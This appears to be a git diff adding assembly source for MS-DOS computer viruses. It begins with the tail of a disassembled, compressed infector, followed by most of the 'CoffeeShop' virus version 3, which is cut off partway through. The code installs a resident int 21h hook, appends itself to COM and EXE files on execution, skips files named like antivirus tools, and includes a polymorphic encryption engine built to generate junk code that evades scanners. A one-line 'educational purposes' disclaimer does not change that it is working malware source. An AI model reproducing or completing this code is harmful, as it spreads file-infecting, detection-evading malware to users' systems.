inc di + xchg di,ax + call $-171Ch + clc ; Clear carry flag + xchg ax,dx + hlt ; Halt processor + add [di],bl + db 60h,0D8h,0E8h, 09h,0DCh,0FEh + db 09h,0F8h,0B0h, 23h,0F8h, 5Ch + db 0D7h,0FCh,0F8h,0FCh,0E8h, 01h + db 3Bh,0F4h,0ECh, 80h,0D2h, 1Dh + db 0BEh,0BAh, 5Ch, 20h, 7Ch, 03h + db 75h, 60h,0CAh, 20h, 0Eh,0B2h + db 0D8h, 81h,0F0h, 3Bh, 40h, 92h + db 0D7h,0B5h,0CEh,0F8h,0DCh, 60h + db 0A7h, 41h,0DEh, 60h, 02h,0B5h + db 0BEh, 3Ch, 20h, 0Fh, 7Bh, 22h + db 65h, 07h, 15h, 60h, 6Eh, 42h + db 68h,0B8h, 20h,0FEh,0FCh,0AEh + db 23h,0FCh,0E2h, 7Fh, 07h,0C0h + db 0B3h, 20h, 2Fh, 60h, 79h, 28h + db 6Ah,0DEh, 7Eh,0E0h, 08h,0D5h + db 09h,0E4h,0C0h, 60h,0C1h, 70h + db 0Bh,0DFh,0E4h, 42h,0D0h, 7Bh + db 4Fh, 5Eh, 9Ah, 05h,0ADh + db 22h + db 06h, 80h, 70h, 10h, 60h, 3Eh + db 05h,0CAh, 5Eh, 41h, 46h,0A4h + db 53h,0EFh, 15h + db 7Ah + db 97h,0C2h, 54h, 74h, 04h, 20h + db 60h, 50h, 45h, 01h,0C8h,0E8h + db 0DCh, 05h,0F9h, 06h, 54h,0D8h + db 0DEh, 41h, 2Dh, 78h, 7Ah, 01h + db 55h, 75h, 04h, 20h, 76h, 1Dh + db 0B8h, 2Eh,0EAh,0A0h,0C6h, 62h + db 55h, 83h, 8Ah, 5Eh, 09h,0C0h + db 0Ah, 5Ch, 20h,0C6h, 11h, 12h + db 0D0h, 2Ah, 74h, 58h, 5Dh, 5Eh + db 17h, 5Bh, 60h, 80h, 92h, 0Eh + db 40h,0EAh, 40h, 75h,0ACh, 62h + db 15h, 74h,0C4h, 59h, 5Eh,0C0h + db 9Dh,0C4h, 82h, 15h, 08h,0DCh + db 20h, 14h, 90h, 60h, 20h, 43h + db 66h, 62h, 94h, 50h, 3Bh, 65h + db 0ECh, 5Eh,0A4h, 1Dh,0CFh, 70h + db 80h,0C2h, 20h, 8Ah, 0Eh,0B2h + db 62h, 2Ah,0ECh, 69h,0CCh, 5Eh + db 80h, 55h,0BEh, 0Bh,0C0h, 80h + db 62h, 41h, 0Eh, 04h, 72h,0FEh + db 56h, 05h, 6Eh, 10h, 01h,0D5h + db 41h,0AEh,0FEh,0CEh, 9Eh,0D1h + db 08h,0FEh,0C4h,0E9h, 5Ch,0E6h + db 0AAh, 62h,0CCh,0C0h,0C8h, 01h + db 62h, 39h,0ECh, 6Ch,0F2h, 9Dh + db 62h,0BCh, 94h, 48h, 41h, 28h + db 4Ah, 45h, 38h, 26h,0FEh, 52h + db 1Ch, 5Ah, 5Fh,0FEh,0BEh, 40h + db 02h, 84h,0F2h, 0Ah,0B8h,0AEh + db 70h,0FEh,0FCh, 8Eh, 12h, 6Ah + db 0DEh, 54h,0D8h, 61h,0ACh, 50h + db 0B1h, 43h, 3Eh, 72h, 80h,0A3h + db 60h, 48h, 6Ah, 82h, 0Eh, 96h + db 02h, 66h, 3Ah, 6Ch, 58h, 84h + db 0B4h,0D1h, 01h, 5Ah, 48h, 3Ah + db 0EAh, 44h, 70h, 0Bh,0E8h,0D8h + db 24h, 9Eh, 28h, 12h, 73h,0C6h + db 54h,0D0h,0FFh + db 0F0h,0FFh, 60h, 34h, 50h, 00h + db 00h,0FFh + +; +; SUBROUTINE +; + +sub_14 proc near + shr bp,1 ; Shift w/zeros fill + dec dl + jnz loc_ret_38 ; Jump if not zero + lodsw ; String [si] to ax + mov bp,ax + mov dl,10h + +loc_ret_38: + retn +sub_14 endp + +loc_39: + call sub_14 + rcl bh,1 ; Rotate thru carry + call sub_14 + jc loc_42 ; Jump if carry Set + mov dh,2 + mov cl,3 + +locloop_40: + call sub_14 + jc loc_41 ; Jump if carry Set + call sub_14 + rcl bh,1 ; Rotate thru carry + shl dh,1 ; Shift w/zeros fill + loop locloop_40 ; Loop if cx > 0 + +loc_41: + sub bh,dh +loc_42: + mov dh,2 + mov cl,4 + +locloop_43: + inc dh + call sub_14 + jc loc_44 ; Jump if carry Set + loop locloop_43 ; Loop if cx > 0 + + call sub_14 + jnc loc_45 ; Jump if carry=0 + inc dh + call sub_14 + jnc loc_44 ; Jump if carry=0 + inc dh +loc_44: + mov cl,dh + jmp short locloop_51 +loc_45: + call sub_14 + jc loc_47 ; Jump if carry Set + mov cl,3 + mov dh,0 + +locloop_46: + call sub_14 + rcl dh,1 ; Rotate thru carry + loop locloop_46 ; Loop if cx > 0 + + add dh,9 + jmp short loc_44 +loc_47: + lodsb ; String [si] to al + mov cl,al + add cx,11h + jmp short locloop_51 +loc_48: + mov cl,3 + +locloop_49: + call sub_14 + rcl bh,1 ; Rotate thru carry + loop locloop_49 ; Loop if cx > 0 + + dec bh +loc_50: + mov cl,2 + +locloop_51: + mov al,es:[bx+di] + stosb ; Store al to es:[di] + loop locloop_51 ; Loop if cx > 0 + +loc_52: + call sub_14 + jnc loc_53 ; Jump if carry=0 + movsb ; Mov [si] to es:[di] + jmp short loc_52 +loc_53: + call sub_14 + lodsb ; String [si] to al + mov bh,0FFh + mov bl,al + jc loc_39 ; Jump if carry Set + call sub_14 + jc loc_48 ; Jump if carry Set + cmp bh,bl + jne loc_50 ; Jump if not equal + xor bp,bp ; Zero register + xor di,di ; Zero register + xor si,si ; Zero register + xor dx,dx ; Zero register + xor bx,bx ; Zero register + xor ax,ax ; Zero register + jmp $-1480h + +seg_a ends + + + + end start diff --git a/c/COFFSHP3 (45).ASM b/c/COFFSHP3 (45).ASM new file mode 100755 index 0000000..bf2786e --- /dev/null +++ b/c/COFFSHP3 (45).ASM @@ -0,0 +1,1674 @@ +;****************************************************************************** +;* CoffeeShop VIRUS version 3 +;* +;* Use MASM 4.0 to compile this source +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;****************************************************************************** + + + .RADIX 16 + + +_TEXT segment + + assume cs:_TEXT, ds:_TEXT + + +VERSION equ 3 +PICLEN equ last - beeld ;length of picture routine +FILELEN equ last - first ;length of virus +FILEPAR equ (FILELEN + 0F)/10 ;length of virus in paragraphs +VIRPAR equ 00D0 ;space for resident virus +WORKPAR equ 0160 ;work space for engine +STACKOFF equ 1000 ;Stack offset +DATAPAR equ 0050 ;extra memory allocated +BUFLEN equ 1C ;length of buffer + + +;**************************************************************************** +;* data area for virus +;**************************************************************************** + + org 00E0 + +mutstack dw 0, 0 +oldlen dw 0, 0 +oi21 dw 0, 0 +minibuf db 0, 0, 0, 0 + + +;**************************************************************************** +;* data area for engine +;**************************************************************************** + +add_val dw 0 +xor_val dw 0 +xor_offset dw 0 +where_len dw 0 +where_len2 dw 0 +flags db 0 + + +;****************************************************************************** +;* Begin of virus, installation in memory +;****************************************************************************** + + org 0100 + +first: call next ;get IP +next: pop si + + sub si,low 3 ;SI = begin virus + mov di,0100 + cld + + push ax ;save registers + push ds + push es + push di + push si + + mov ah,30 ;DOS version >= 3.1? + int 21 + xchg ah,al + cmp ax,030A + jb not_install + + mov ax,33DA ;already resident? + int 21 + cmp ah,0A5 + je not_install + + mov ax,es ;adjust memory-size + dec ax + mov ds,ax + xor bx,bx + cmp byte ptr [bx],5A + jne not_install + mov ax,[bx+3] + sub ax,(VIRPAR+WORKPAR) + jb not_install + mov [bx+3],ax + sub word ptr ds:[bx+12],(VIRPAR+WORKPAR) + + mov es,[bx+12] ;copy program to top + push cs + pop ds + mov cx,FILELEN + rep movsb + + push es + pop ds + + mov ax,3521 ;get original int21 vector + int 21 + mov ds:[oi21],bx + mov ds:[oi21+2],es + + mov dx,offset ni21 ;install new int21 handler + mov ax,2521 + int 21 + + mov ax,33DBh ;init. random nr. generator + int 21 + + mov ah,2A ;ask date + int 21 + cmp al,5 ;friday ? + jne not_install + mov ah,2C ;ask time + int 21 + or dh,dh ;sec = 0 ? + jnz not_install + + mov ax,33DC ;show picture + int 21 + +not_install: pop si ;restore registers + pop di + pop es + pop ds + pop ax + + add si,(offset buffer) + sub si,di + cmp byte ptr cs:[si],4Dh ;COM or EXE ? + je entryE + +entryC: push di + mov cx,BUFLEN + rep movsb + ret + +entryE: mov bx,ds ;calculate CS + add bx,low 10 + mov cx,bx + add bx,cs:[si+0E] + cli ;restore SS and SP + mov ss,bx + mov sp,cs:[si+10] + sti + add cx,cs:[si+16] + push cx ;push new CS on stack + push cs:[si+14] ;push new IP on stack + db 0CBh ;retf + + +;****************************************************************************** +;* Interupt 24 handler +;****************************************************************************** + +ni24: mov al,3 ;to avoid 'Abort, Retry, ...' + iret + + +;****************************************************************************** +;* Interupt 21 handler +;****************************************************************************** + +ni21: pushf + + cmp ax,33DA ;install-check ? + jne not_ic + mov ax,0A500+VERSION ;return a signature + popf + iret + +not_ic: push es ;save registers + push ds + push si + push di + push dx + push cx + push bx + push ax + + cmp ax,33DBh ;rnd init ? + jne not_ri + call rnd_init + jmp short no_infect + +not_ri: cmp ax,33DC ;show picture? + je show_pic + +not_pi: cmp ax,4B00 ;execute ? + je do_it + + cmp ax,6C00 ;open DOS 4.0+ ? + jne no_infect + test bl,3 + jnz no_infect + mov dx,di + +do_it: call infect + +no_infect: pop ax ;restore registers + pop bx + pop cx + pop dx + pop di + pop si + pop ds + pop es + popf + +org21: jmp dword ptr cs:[oi21] ;call to old int-handler + + +;****************************************************************************** +;* Show picture +;****************************************************************************** + +show_pic: mov ax,offset no_infect ;push return adres on stack + push cs + push ax + + mov di,((VIRPAR*10)+0100) ;move picture routine + mov si,offset beeld + mov cx,PICLEN + push cs + pop ds + push cs + pop es + rep movsb + + mov ax,cs ;calculate segment registers + add ax,low VIRPAR + mov ds,ax + mov es,ax + + push ax ;push picture adres on stack + mov ax,0100 + push ax + + db 0CBh ;(retf) goto picture routine + + +;****************************************************************************** +;* Tries to infect the file +;****************************************************************************** + +infect: cld + + push cs ;copy filename to CS:0000 + pop es + mov si,dx + xor di,di + mov cx,0080 +namemove: lodsb + cmp al,0 + je moved + cmp al,'a' + jb char_ok + cmp al,'z' + ja char_ok + xor al,20 ;convert to upper case +char_ok: stosb + loop namemove +return0: ret + +moved: stosb ;put last zero after filename + lea si,[di-5] + push cs + pop ds + + lodsw ;check extension .COM or .EXE + cmp ax,'E.' + jne not_exe + lodsw + cmp ax,'EX' + jmp short check + +not_exe: cmp ax,'C.' + jne return0 + lodsw + cmp ax,'MO' +check: jne return0 + + std ;find begin of filename + mov cx,si + inc cx +searchbegin: lodsb + cmp al,':' + je checkname + cmp al,'\' + je checkname + loop searchbegin + dec si + +checkname: cld ;check filename + lodsw + lodsw + mov di,offset names + mov cl,13 + repnz scasw + je return0 + + mov ax,3300 ;get ctrl-break flag + int 21 + push dx ;save flag on stack + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524 ;get int24 vector + int 21 + push es ;save vector on stack + push bx + + push cs + pop ds + + mov dx,offset ni24 ;install new int24 handler + mov ah,25 + push ax + int 21 + + mov ax,4300 ;ask file-attributes + cwd + int 21 + push cx ;save attributes on stack + + xor cx,cx ;clear attributes + mov ax,4301 + push ax + int 21 + jc return1v + + mov ax,3D02 ;open the file + int 21 + jnc opened +return1v: jmp return1 + +opened: xchg ax,bx ;save handle + + mov ax,5700 ;get file date & time + int 21 + push dx ;save date & time on stack + push cx + + mov cx,BUFLEN ;read begin of file + mov si,offset buffer + mov dx,si + call read + jc closev + + mov ax,4202 ;goto end, get filelength + xor cx,cx + cwd + int 21 + + mov di,offset oldlen ;save filelength + mov [di],ax + mov [di+2],dx + + mov ax,word ptr [si+12] ;already infected? + add al,ah + cmp al,'@' + jz closev + + cmp word ptr [si],'ZM' ;EXE ? + je do_EXE + +do_COM: test byte ptr [si],80 ;maybe a strange EXE? + jz closev + + mov ax,word ptr [di] ;check lenght of file + cmp ah,0D0 + jae closev + cmp ah,1 + jb closev + + mov dx,ax + add dx,0100 + call writeprog ;call Engine and write virus + jne closev + + mov byte ptr [si],0E9 ;put 'JMP xxxx' at begin + sub ax,low 3 + mov word ptr [si+1],ax + jmp done + +closev: jmp close + +do_EXE: cmp word ptr [si+18],40 ;is it a windows/OS2 EXE ? + jb not_win + + mov ax,003C + cwd + call readbytes + jc closev + + mov ax,word ptr [di+8] + mov dx,word ptr [di+0A] + call readbytes + jc closev + + cmp byte ptr [di+9],'E' + je closev + +not_win: call getlen + call calclen ;check for internal overlays + cmp word ptr [si+4],ax + jne close + cmp word ptr [si+2],dx + jne close + + cmp word ptr [si+0C],0 ;high memory allocation? + je close + + cmp word ptr [si+1A],0 ;overlay nr. not zero? + jne close + + call getlen ;calculate new CS & IP + mov cx,0010 + div cx + sub ax,word ptr [si+8] + dec ax + add dx,low 10 + + call writeprog ;call Engine and write virus + jne close + + mov word ptr [si+16],ax ;put CS in header + mov word ptr [si+0E],ax ;put SS in header + mov word ptr [si+14],dx ;put IP in header + mov word ptr [si+10],STACKOFF ;put SP in header + + call getlen + add ax,cx + adc dx,0 + call calclen ;put new length in header + mov word ptr [si+4],ax + mov word ptr [si+2],dx + + lea di,[si+0A] ;adjust mem. allocation info + call mem_adjust + lea di,[si+0C] + call mem_adjust + +done: call gotobegin + call rnd_get ;signature + mov ah,'@' + sub ah,al + mov word ptr [si+12],ax + mov cx,BUFLEN ;write new begin + mov dx,si + mov ah,40 + int 21 + +close: pop cx ;restore date & time + pop dx + mov ax,5701 + int 21 + + mov ah,3E ;close the file + int 21 + +return1: pop ax ;restore attributes + pop cx + cwd + int 21 + + pop ax ;restore int24 vector + pop dx + pop ds + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + ret + + +;****************************************************************************** +;* Filenames to avoid +;****************************************************************************** + +names: db 'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI' + db 'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', ' ' + db ' ', ' ', ' ' + + +;****************************************************************************** +;* Write virus to the program +;****************************************************************************** + +writeprog: push ax ;save registers + push dx + push si + push bp + push es + + cli + mov word ptr [di-4],ss ;save SS & SP + mov word ptr [di-2],sp + + mov ax,cs ;new stack & buffer-segment + mov ss,ax + mov sp,((VIRPAR + WORKPAR) * 10) + add ax,low VIRPAR + mov es,ax + sti + + push ds + + mov bp,dx ;input parameters for engine + mov dx,0100 + mov cx,FILELEN + xor si,si + mov al,0Fh + + push di + push bx + + call crypt ;call the Engine + + pop bx + pop di + + push cx + push dx + mov ax,4202 ;goto end + xor cx,cx + cwd + int 21 + pop dx + pop cx + + mov ah,40 ;write virus + int 21 + cmp ax,cx ;are all bytes written? + + pop ds + + cli + mov ss,word ptr [di-4] ;restore stack + mov sp,word ptr [di-2] + sti + + pop es ;restore registers + pop bp + pop si + pop dx + pop ax + + ret + + +;****************************************************************************** +;* Adjust mem allocation info in EXE header +;****************************************************************************** + +mem_adjust: mov ax,[di] + sub ax,low FILEPAR ;alloc. may be this much less + jb more + cmp ax,DATAPAR ;minimum amount to allocate + jae mem_ok +more: mov ax,DATAPAR +mem_ok: mov [di],ax + ret + + +;****************************************************************************** +;* Read a few bytes +;****************************************************************************** + +readbytes: call goto + mov dx,offset minibuf + mov cx,4 +read: mov ah,3F + int 21 + ret + + +;****************************************************************************** +;* Calculate length for EXE header +;****************************************************************************** + +calclen: mov cx,0200 + div cx + or dx,dx + jz no_cor + inc ax +no_cor: ret + + +;****************************************************************************** +;* Get original length of program +;****************************************************************************** + +getlen: mov ax,[di] + mov dx,[di+2] + ret + + +;****************************************************************************** +;* Goto new offset DX:AX +;****************************************************************************** + +gotobegin: xor ax,ax + cwd +goto: xchg cx,dx + xchg ax,dx + mov ax,4200 + int 21 + ret + + +;**************************************************************************** +;* +;* Encryption Engine +;* +;* +;* Input: ES work segment +;* DS:DX code to encrypt +;* BP what will be start of decryptor +;* SI what will be distance between decryptor and code +;* CX length of code +;* AX flags: bit 0: DS will not be equal to CS +;* bit 1: insert random instructions +;* bit 2: put junk before decryptor +;* bit 3: preserve AX with decryptor +;* +;* Output: ES: work segment (preserved) +;* DS:DX decryptor + encrypted code +;* BP what will be start of decryptor (preserved) +;* DI length of decryptor / offset of encrypted code +;* CX length of decryptor + encrypted code +;* AX length of encrypted code +;* (other registers may be trashed) +;* +;**************************************************************************** + + db '[ MK / Trident ]' + +crypt: xor di,di ;di = start of decryptor + push dx ;save offset of code + push si ;save future offset of code + + mov byte ptr ds:[flags],al ;save flags + test al,8 ;push AX? + jz no_push + mov al,50 + stosb + +no_push: call rnd_get ;add a few bytes to cx + and ax,1F + add cx,ax + push cx ;save length of code + + call rnd_get ;get random flags + xchg ax,bx + ;BX flags: + + ;0,1 how to encrypt + ;2,3 which register for encryption + ;4 use byte or word for encrypt + ;5 MOV AL, MOV AH or MOV AX + ;6 MOV CL, MOV CH or MOV CX + ;7 AX or DX + + ;8 count up or down + ;9 ADD/SUB/INC/DEC or CMPSW/SCASW + ;A ADD/SUB or INC/DEC + ; CMPSW or SCASW + ;B offset in XOR instruction? + ;C LOOPNZ or LOOP + ; SUB CX or DEC CX + ;D carry with crypt ADD/SUB + ;E carry with inc ADD/SUB + ;F XOR instruction value or AX/DX + +random: call rnd_get ;get random encryption value + or al,al + jz random ;again if 0 + mov ds:[xor_val],ax + + call do_junk ;insert random instructions + + pop cx + + mov ax,0111 ;make flags to remember which + test bl,20 ; MOV instructions are used + jnz z0 + xor al,07 +z0: test bl,0C + jnz z1 + xor al,70 +z1: test bl,40 + jnz z2 + xor ah,7 +z2: test bl,10 + jnz z3 + and al,73 +z3: test bh,80 + jnz z4 + and al,70 + +z4: mov dx,ax +mov_lup: call rnd_get ;put MOV instructions in + and ax,000F ; a random order + cmp al,0A + ja mov_lup + + mov si,ax + push cx ;test if MOV already done + xchg ax,cx + mov ax,1 + shl ax,cl + mov cx,ax + and cx,dx + pop cx + jz mov_lup + xor dx,ax ;remember which MOV done + + push dx + call do_mov ;insert MOV instruction + call do_nop ;insert a random NOP + pop dx + + or dx,dx ;all MOVs done? + jnz mov_lup + + push di ;save start of decryptor loop + + call do_add_ax ;add a value to AX in loop? + call do_nop + test bh,20 ;carry with ADD/SUB ? + jz no_clc + mov al,0F8 + stosb +no_clc: mov word ptr ds:[xor_offset],0 + call do_xor ;place all loop instructions + call do_nop + call do_add + + pop dx ;get start of decryptor loop + + call do_loop + + test byte ptr ds:[flags],8 ;insert POP AX ? + jz no_pop + mov al,58 + stosb + +no_pop: xor ax,ax ;calculate loop offset + test bh,1 ;up or down? + jz v1 + mov ax,cx + dec ax + test bl,10 ;encrypt with byte or word? + jz v1 + and al,0FE +v1: add ax,di + add ax,bp + pop si + add ax,si + sub ax,word ptr ds:[xor_offset] + mov si,word ptr ds:[where_len] + test bl,0C ;are BL,BH used for encryption? + jnz v2 + mov byte ptr es:[si],al + mov si,word ptr ds:[where_len2] + mov byte ptr es:[si],ah + jmp short v3 +v2: mov word ptr es:[si],ax + +v3: mov dx,word ptr ds:[xor_val] ;encryption value + + pop si ;ds:si = start of code + + push di ;save ptr to encrypted code + push cx ;save length of encrypted code + + test bl,10 ;byte or word? + jz blup + + inc cx ;cx = # of crypts (words) + shr cx,1 + +lup: lodsw ;encrypt code (words) + call do_encrypt + stosw + loop lup + jmp short klaar + + +blup: lodsb ;encrypt code (bytes) + xor dh,dh + call do_encrypt + stosb + loop blup + +klaar: mov cx,di ;cx = length decryptpr + code + pop ax ;ax = length of decrypted code + pop di ;di = offset encrypted code + xor dx,dx ;ds:dx = decryptor + cr. code + push es + pop ds + ret + + +;**************************************************************************** +;* encrypt the code +;**************************************************************************** + +do_encrypt: add dx,word ptr ds:[add_val] + test bl,2 + jnz lup1 + xor ax,dx + ret + +lup1: test bl,1 + jnz lup2 + sub ax,dx + ret + +lup2: add ax,dx + ret + + +;**************************************************************************** +;* generate mov reg,xxxx +;**************************************************************************** + +do_mov: mov dx,si + mov al,byte ptr ds:[si+mov_byte] + cmp dl,4 ;BX? + jne is_not_bx + call add_ind +is_not_bx: test dl,0C ;A*? + pushf + jnz is_not_a + test bl,80 ;A* or D*? + jz is_not_a + add al,2 + +is_not_a: call alter ;insert the MOV + + popf ;A*? + jnz is_not_a2 + mov ax,word ptr ds:[xor_val] + jmp short sss + +is_not_a2: test dl,8 ;B*? + jnz is_not_b + mov si,offset where_len + test dl,2 + jz is_not_bh + add si,2 +is_not_bh: mov word ptr ds:[si],di + jmp short sss + +is_not_b: mov ax,cx ;C* + test bl,10 ;byte or word encryption? + jz sss + inc ax ;only half the number of bytes + shr ax,1 +sss: test dl,3 ;byte or word register? + jz is_x + test dl,2 ;*H? + jz is_not_h + xchg al,ah +is_not_h: stosb + ret + +is_x: stosw + ret + + +;**************************************************************************** +;* insert MOV or alternative for MOV +;**************************************************************************** + +alter: push bx + push cx + push ax + call rnd_get + xchg ax,bx + pop ax + test bl,3 ;use alternative for MOV? + jz no_alter + + push ax + and bx,0F + and al,08 + shl ax,1 + or bx,ax + pop ax + + and al,7 + mov cl,9 + xchg ax,cx + mul cl + + add ax,30C0 + xchg al,ah + test bl,4 + jz no_sub + mov al,28 +no_sub: call maybe_2 + stosw + + mov al,80 + call maybe_2 + stosb + + mov ax,offset add_mode + xchg ax,bx + and ax,3 + xlat + + add al,cl +no_alter: stosb + pop cx + pop bx + ret + + +;**************************************************************************** +;* insert ADD AX,xxxx +;**************************************************************************** + +do_add_ax: push cx + mov si,offset add_val ;save add-value here + mov word ptr ds:[si],0 + mov ax,bx + and ax,8110 + xor ax,8010 + jnz no_add_ax ;use ADD? + + mov ax,bx + xor ah,ah + mov cl,3 + div cl + or ah,ah + jnz no_add_ax ;use ADD? + + test bl,80 + jnz do_81C2 ;AX or DX? + mov al,5 + stosb + jmp short do_add0 +do_81C2: mov ax,0C281 + stosw +do_add0: call rnd_get + mov word ptr ds:[si],ax + stosw +no_add_ax: pop cx + ret + + +;**************************************************************************** +;* generate encryption command +;**************************************************************************** + +do_xor: test byte ptr ds:[flags],1 + jz no_cs + mov al,2E ;insert CS: instruction + stosb + +no_cs: test bh,80 ;type of XOR command + jz xor1 + + call get_xor ;encrypt with register + call do_carry + call save_it + xor ax,ax + test bl,80 + jz xxxx + add al,10 +xxxx: call add_dir + test bh,8 + jnz yyyy + stosb + ret + +yyyy: or al,80 + stosb + call rnd_get + stosw + mov word ptr ds:[xor_offset],ax + ret + +xor1: mov al,080 ;encrypt with value + call save_it + call get_xor + call do_carry + call xxxx + mov ax,word ptr ds:[xor_val] + test bl,10 + jmp byte_word + + +;**************************************************************************** +;* generate increase/decrease command +;**************************************************************************** + +do_add: test bl,8 ;no CMPSW/SCASW if BX is used + jz da0 + test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW + jnz do_cmpsw + +da0: test bh,4 ;ADD/SUB or INC/DEC? + jz add1 + + mov al,40 ;INC/DEC + test bh,1 ;up or down? + jz add0 + add al,8 +add0: call add_ind + stosb + test bl,10 ;byte or word? + jz return + stosb ;same instruction again +return: ret + +add1: test bh,40 ;ADD/SUB + jz no_clc2 ;carry? + mov al,0F8 ;insert CLC + stosb +no_clc2: mov al,083 + stosb + mov al,0C0 + test bh,1 ;up or down? + jz add2 + mov al,0E8 +add2: test bh,40 ;carry? + jz no_ac2 + and al,0CF + or al,10 +no_ac2: call add_ind + stosb + mov al,1 ;value to add/sub +save_it: call add_1 + stosb + ret + +do_cmpsw: test bh,1 ;up or down? + jz no_std + mov al,0FDh ;insert STD + stosb +no_std: test bh,4 ;CMPSW or SCASW? + jz normal_cmpsw + test bl,4 ;no SCASW if SI is used + jnz do_scasw + +normal_cmpsw: mov al,0A6 ;CMPSB + jmp short save_it +do_scasw: mov al,0AE ;SCASB + jmp short save_it + + +;**************************************************************************** +;* generate loop command +;**************************************************************************** + +do_loop: test bh,1 ;no JNE if couting down + jnz loop_loop ; (prefetch bug!) + call rnd_get + test al,1 ;LOOPNZ/LOOP or JNE? + jnz cx_loop + +loop_loop: mov al,0E0 + test bh,1A ;LOOPNZ or LOOP? + jz ll0 ; no LOOPNZ if xor-offset + add al,2 ; no LOOPNZ if CMPSW/SCASW +ll0: stosb + mov ax,dx + sub ax,di + dec ax + stosb + ret + +cx_loop: test bh,10 ;SUB CX or DEC CX? + jnz cxl_dec + mov ax,0E983 + stosw + mov al,1 + stosb + jmp short do_jne + +cxl_dec: mov al,49 + stosb +do_jne: mov al,75 + jmp short ll0 + + +;**************************************************************************** +;* add value to AL depending on register type +;**************************************************************************** + +add_dir: mov si,offset dir_change + jmp short xx1 + +add_ind: mov si,offset ind_change +xx1: push bx + shr bl,1 + shr bl,1 + and bx,3 + add al,byte ptr ds:[bx+si] + pop bx + ret + + +;**************************************************************************** +;* mov encryption command byte to AL +;**************************************************************************** + +get_xor: push bx + mov ax,offset how_mode + xchg ax,bx + and ax,3 + xlat + pop bx + ret + + +;**************************************************************************** +;* change ADD into ADC +;**************************************************************************** + +do_carry: test bl,2 ;ADD/SUB used for encryption? + jz no_ac + test bh,20 ;carry with (encr.) ADD/SUB? + jz no_ac + and al,0CF + or al,10 +no_ac: ret + + +;**************************************************************************** +;* change AL (byte/word) +;**************************************************************************** + +add_1: test bl,10 + jz add_1_ret + inc al +add_1_ret: ret + + +;**************************************************************************** +;* change AL (byte/word) +;**************************************************************************** + +maybe_2: call add_1 + cmp al,81 ;can't touch this + je maybe_not + push ax + call rnd_get + test al,1 + pop ax + jz maybe_not + add al,2 +maybe_not: ret + + +;**************************************************************************** +;* get random nop (or not) +;**************************************************************************** + +do_nop: test byte ptr ds:[flags],2 + jz no_nop +yes_nop: call rnd_get + test al,3 + jz nop8 + test al,2 + jz nop16 + test al,1 + jz nop16x +no_nop: ret + + +;**************************************************************************** +;* Insert random instructions +;**************************************************************************** + +do_junk: test byte ptr ds:[flags],4 + jz no_junk + call rnd_get ;put a random number of + and ax,0F ; dummy instructions before + inc ax ; decryptor + xchg ax,cx +junk_loop: call junk + loop junk_loop +no_junk: ret + + +;**************************************************************************** +;* get rough random nop (may affect register values) +;**************************************************************************** + +junk: call rnd_get + and ax,1E + jmp short aa0 +nop16x: call rnd_get + and ax,06 +aa0: xchg ax,si + call rnd_get + jmp word ptr ds:[si+junkcals] + + +;**************************************************************************** +;* NOP and junk addresses +;**************************************************************************** + +junkcals dw offset nop16x0 + dw offset nop16x1 + dw offset nop16x2 + dw offset nop16x3 + dw offset nop8 + dw offset nop16 + dw offset junk6 + dw offset junk7 + dw offset junk8 + dw offset junk9 + dw offset junkA + dw offset junkB + dw offset junkC + dw offset junkD + dw offset junkE + dw offset junkF + + +;**************************************************************************** +;* NOP and junk routines +;**************************************************************************** + +nop16x0: and ax,000F ;J* 0000 (conditional) + or al,70 + stosw + ret + + +nop16x1: mov al,0EBh ;JMP xxxx / junk + and ah,07 + inc ah + stosw + xchg al,ah ;get lenght of bullshit + cbw + jmp fill_bullshit + + +nop16x2: call junkD ;XCHG AX,reg / XCHG AX,reg + stosb + ret + + +nop16x3: call junkF ;INC / DEC or DEC / INC + xor al,8 + stosb + ret + + +nop8: push bx ;8-bit NOP + and al,7 + mov bx,offset nop_data8 + xlat + stosb + pop bx + ret + + +nop16: push bx ;16-bit NOP + and ax,0303 + mov bx,offset nop_data16 + xlat + add al,ah + stosb + call rnd_get + and al,7 + mov bl,9 + mul bl + add al,0C0 + stosb + pop bx + ret + + +junk6: push cx ;CALL xxxx / junk / POP reg + mov al,0E8 + and ah,0F + inc ah + stosw + xor al,al + stosb + xchg al,ah + call fill_bullshit + call do_nop + call rnd_get ;insert POP reg + and al,7 + call no_sp + mov cx,ax + or al,58 + stosb + + test ch,3 ;more? + jnz junk6_ret + + call do_nop + mov ax,0F087 ;insert XCHG SI,reg + or ah,cl + test ch,8 + jz j6_1 + mov al,8Bh +j6_1: stosw + + call do_nop + push bx + call rnd_get + xchg ax,bx + and bx,0F7FBh ;insert XOR [SI],xxxx + or bl,8 + call do_xor + pop bx +junk6_ret: pop cx + ret + + +junk7: and al,0F ;MOV reg,xxxx + or al,0B0 + call no_sp + stosb + test al,8 + pushf + call rnd_get + popf + jmp short byte_word + + +junk8: and ah,39 ;DO r/m,r(8/16) + or al,0C0 + call no_sp + xchg al,ah + stosw + ret + + +junk9: and al,3Bh ;DO r(8/16),r/m + or al,2 + and ah,3F + call no_sp2 + call no_bp + stosw + ret + + +junkA: and ah,1 ;DO rm,xxxx + or ax,80C0 + call no_sp + xchg al,ah + stosw + test al,1 + pushf + call rnd_get + popf + jmp short byte_word + + +junkB: call nop8 ;NOP / LOOP + mov ax,0FDE2 + stosw + ret + + +junkC: and al,09 ;CMPS* or SCAS* + test ah,1 + jz mov_test + or al,0A6 + stosb + ret +mov_test: or al,0A0 ;MOV AX,[xxxx] or TEST AX,xxxx + stosb + cmp al,0A8 + pushf + call rnd_get + popf + jmp short byte_word + + +junkD: and al,07 ;XCHG AX,reg + or al,90 + call no_sp + stosb + ret + + +junkE: and ah,07 ;PUSH reg / POP reg + or ah,50 + mov al,ah + or ah,08 + stosw + ret + + +junkF: and al,0F ;INC / DEC + or al,40 + call no_sp + stosb + ret + + +;**************************************************************************** +;* store a byte or a word +;**************************************************************************** + +byte_word: jz only_byte + stosw + ret + +only_byte: stosb + ret + + +;**************************************************************************** +;* don't fuck with SP! +;**************************************************************************** + +no_sp: push ax + and al,7 + cmp al,4 + pop ax + jnz no_sp_ret + and al,0FBh +no_sp_ret: ret + + +;**************************************************************************** +;* don't fuck with SP! +;**************************************************************************** + 